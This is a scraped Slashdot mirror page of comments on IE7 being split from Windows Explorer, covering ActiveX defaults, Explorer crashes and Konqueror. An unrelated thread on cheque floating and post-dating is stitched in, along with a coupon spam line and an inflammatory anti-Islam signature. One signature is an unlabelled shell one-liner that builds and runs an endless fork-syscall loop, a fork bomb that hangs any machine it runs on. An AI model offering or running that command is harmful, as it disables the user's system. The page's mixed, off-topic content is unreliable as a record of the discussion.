Slashdot Mirror
IE7 Separated from Windows Explorer
An anonymous reader writes "Security experts warned Microsoft 10 years ago that putting IE as a component of Windows Explorer was a bad idea, looks like Microsoft finally decided to listen to the advice. According to a short write up in Business Week, Microsoft has decided that when IE7 comes out with Vista it will no longer be a component of Windows Explorer and will be able to replace IE6 even on XP machines."
That did not apply to windows xp but to windows 95 and me.
Maybe it could be done but this is the reason it will only be done for xp. On the other hand, having seen some of microsofts products it doesnt suprise me that a web browser which executes remote code (activex) is part of the os.
200GB/2TB $7.95 Coupon: SAVE90DOLLAR
Technically they were correct. Think of it as if BMW rerouted the ignition circiut to make sure it passed through the car stereo. Technically, removing the stereo could render the car useless. Its a stupid design decision unless you're trying to monopolize the market in car stereos.
You are correct in noting that Konq is entirely userspace, which is why they can make it browse whatever they want it to. If you don't like it, you can use Nautilus or firefox or midnight commander or any number of other things. This is only a big deal for IE/Explorer because it is tied to the OS, and because it is really your only choice for many things.
As for how tightly tied konqueror is to itself, that's pretty much moot. Much of Konqueror's capabilities are provided by kioslaves, which are another layer entirely, and could theoretically be used by other apps. *Shrug*
So I guess they were not lying, at least according to BusinessWeek.
'Every story, if continued long enough, ends in death.' --Ernest Hemingway
With the instant scans of the checks, "check float" has been removed, and a big issue that banks had with some illegal behavior that most people thought were ok, is gone.
Check floating is not illegal. It's simply an artifact of the way banks work. You're probably thinking of check kiting, which is an illegal scheme that takes advantage of the float periods.
Javascript + Nintendo DSi = DSiCade
Windows 2000 is no longer in the windows labelled "mainstream support" so the less they have to deal with it the better for their support teams. On IEBlog, they also cite specifically why it can work for WinXP and not Win2K. It's because of the security upgrades done to XP in service pack 2 which they claim are not easily back-ported into 2K.
http://www.microsoft.com/windows/ie/ie7/featureta
From here
http://forum.pcstats.com/showthread.php?t=35534
He he, "one quirky feature". Way to miss the point. Note that you can disable Download Signed ActiveX controls too, or make at least make it prompt you.
There's a best practices document here
http://msdn.microsoft.com/library/default.asp?url
I think the basic problem is that they still want to avoid breaking websites that rely on ActiveX as much as possible. You can see lots of stuff in that document which means that some ActiveX controls will still automatically on a webpage. If anyone develops and exploit for them and you run it on XP as an admin, you have a problem. Of course, if the user knows what they are doing they can make it secure, but the default setting is more geared to compatibility than security.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I downloaed the IE7 beta 2 for XP yesterday and you can see that explorer is no longer tied at all to the web browser. Going to slashdot.org in an explorer window starts the default browser now.
The war with islam is a war on the beast
The war on terror is a war for peace
Actually, you can try the Beta of IE7: http://www.microsoft.com/windows/ie/ie7/ie7betared irect.mspx
And yes, you can uninstall it properly afterward.
The problem with MS's version was that the whole freaking system crashed if IE crashed.
This isn't entirely correct. EXPLORER.EXE, which is tied in with IE and is largely responsible for the GUI, can be crashed by IE. This mucks up the GUI to the point where the system is apparently hung. However, the NTOSKRNL.EXE almost never gets faulted by these kinds of crashes and, in reality, continues to run even though the interface is completely hosed. This is analogous to crashing XWindows in Unix in the sense that X can be completely hung but system processes underneath it continue to function normally. The difference is that a Ctrl-Alt-Bksp will kill X and give you a command prompt, whereas Windows has no such option. There has been talk in the past of Microsoft releasing a command-line version of Windows Server (i.e. the GUI is optional), but AFAIK, that's just been talk with no real action.
Note that crashes that do fully lock up a Windows box are almost always caused by faulty drivers, usually video drivers because these run in kernel space. Linux is just as susceptible to faulty drivers as Windows is. I've had a number of servers up and croak with a KERNEL PANIC because of a faulty RAID driver. Dodgy hardware, poor cooling, overclocking, etc. also locks up boxes but this isn't a Windows-only phenomenon by any means.
In the end they will lay their freedom at our feet and say to us, Make us your slaves, but feed us. - Fyodor Dostoyevsky
Actually, no. Post-dating a check will have no effect on when it can be cashed, or your liability for payment. The date field on a check has no legal signifigance - a check is a demand draft against an account and is payable on presentation...
Post-dating cheques is (from what I understand) either illegal or just not useful in the US - due to exactly what we're talking about here. Your money must be present in the account when you write the cheque (barring overdraft protection, etc).
In Canada, post-dating cheques is very legal, and very common. The provincial insurance companies accept post-dated cheques for payments due in the future, so it's certainly legal at that level.
I ran into this years and years ago when I first computerized the books for a small business - the vendor didn't provide any functionality for tracking post-dated cheques (they were a US vendor, and we were their first Canadian customer). When we called to request this feature, their response was "but post-dating cheques is illegal!". Pretty funny at the time. It took them over a year to get this functionality working right, incidentally.
Oh, and the banks here WILL honour post-dates. If I cash a cheque earlier than the day it is dated for, it usually gets caught. If it goes through by accident, it will be reversed (not as an NSF) and it's up to me to collect the money from the cheque writer.
Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.